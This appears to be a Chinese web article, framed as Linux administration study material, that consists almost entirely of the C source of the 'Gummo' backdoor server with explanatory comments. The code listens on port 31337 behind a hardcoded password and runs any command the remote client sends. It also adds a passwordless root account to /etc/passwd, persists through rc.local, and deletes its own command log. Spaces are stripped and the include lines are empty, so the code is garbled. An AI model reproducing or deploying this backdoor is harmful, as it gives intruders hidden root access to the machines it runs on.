本文主要向你们介绍了Linux运维知识之linux 后门程序linux 后门linux 后门,通过详细的内容向你们展现,希望对各位学习Linux运维知识有所帮助。
/*
/*Gummo后门服务器
/*编译:ccserver.c-oserver
/*使用:./server&
/*echo/tmp/server&>>/etc/rc.d/rc.local
*/
#include
#include
#include
#include
#include
#include
#include
#include
#definePORT31337
#defineBACKLOG5
#defineCMD_LOG"/tmp/.cmd"
#definePASSWORD"password"
/*global*/
intnewfd;
voidcommand();
void
main()
{
intsockfd,sin_size,ss,len,bytes;
structsockaddr_inmy_addr;
structsockaddr_intheir_addr;
charpasswd[1024];
char*prompt="Password:";
char*gp;
//创建一个套节字
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket");
exit(1);
}
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(PORT);
my_addr.sin_addr.s_addr=INADDR_ANY;
bzero(&(my_addr.sin_zero),8);
//绑定端口
if(bind(sockfd,(structsockaddr*)&my_addr,sizeof(structsockaddr))==-1)
{
perror("bind");
exit(1);
}
//接听
if(listen(sockfd,BACKLOG)==-1)
{
perror("listen");
exit(1);
}
while(1)
{
ss=sizeof(structsockaddr_in);
//一直接收着返回新的套节字
if((newfd=accept(sockfd,(structsockaddr*)&their_addr,&sin_size))==-1)
{
perror("accept");
exit(1);
}
//创建一个进程
//子进程返回0错误返回-1父进程返回pid
if(fork())
{
///父进程中/
len=strlen(prompt);
//往新的套节字里发数据也就是往客服端发数据
bytes=send(newfd,prompt,len,0);
//接收客服端的数据也就是密码
recv(newfd,passwd,1024,0);
//判断13首次出现位置
if((gp=strchr(passwd,13))!=NULL)
*(gp)=‘\0‘;
//密码正解
if(!strcmp(passwd,PASSWORD))
{
//继续发给客服端
send(newfd,"准许访问,HEH\n",21,0);
send(newfd,"\n\n\n\n\n\n欢迎来到Gummo后门服务器!\n\n",41,0);
send(newfd,"Type‘HELP‘foralistofcommands\n\n",36,0);
//将处理所有发送的命令并将他们的输出发送给客户端
command();
}
//密码错误直接退出
elseif(passwd!=PASSWORD)
{
send(newfd,"AuthentificationFailed!=/\n",29,0);
close(newfd);
}
}
}
}
//处理客服端的命令
void
command()
{
FILE*read;
FILE*append;
charcmd_dat[1024];
char*cmd_relay;
char*clean_log;
charbuf[5000];
intdxm;
while(1)
{
//先发送一个提示
send(newfd,"command:~#",11,0);
//等待接收
recv(newfd,cmd_dat,1024,0);
cmd_dat[strlen(cmd_dat)-2]=‘\0‘;
//判断命令是否为空
if(strcmp(cmd_dat,""))
{
//命令HELP
if((strstr(cmd_dat,"HELP"))==cmd_dat)
{
//help
send(newfd,"\n\n-=HelpMenu=-\n",16,0);
//quit
send(newfd,"\nquit-toexitgummobackdoor\n",31,0);
//rewt
send(newfd,"rewt-automaticallycreatesnonpasswordedaccnt‘rewt‘uid0\n",63,0);
//wipeout
send(newfd,"wipeout-thisfeaturerm-rf/‘sabox.Inspiredbydethcraze\n",64,0);
}
//quit
if((strstr(cmd_dat,"quit"))==cmd_dat)
{
close(newfd);
}
//rewt
if((strstr(cmd_dat,"rewt"))==cmd_dat)
{
system("echorewt::0:0::/:/bin/sh>>/etc/passwd;");
send(newfd,"User‘rewt‘added!\n",19,0);
}
//wipout
if((strstr(cmd_dat,"wipeout"))==cmd_dat)
{
send(newfd,"你尝试使用这个命令是不行的,HEH!\n",54,0);
close(newfd);
exit(0);
}
else
//搞一个临时文件保存命令字符串
append=fopen(CMD_LOG,"w");
fprintf(append,"dextro\n");
fclose(append);
//用于清理日志
clean_log=(char*)malloc(420);
sprintf(clean_log,"rm%s",CMD_LOG);
system(clean_log);
cmd_relay=(char*)malloc(1024);
//用于输出重定向
snprintf(cmd_relay,1024,"%s>%s;\0",cmd_dat,CMD_LOG);
system(cmd_relay);
if((read=fopen(CMD_LOG,"r"))==NULL)
continue;
while(!(feof(read)))
{
memset(buf,0,500);
fgets(buf,500,read);
if(buf[0]==0)
break;
write(newfd,buf,500);
}
fclose(read);
}
}
}
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-135647-1.html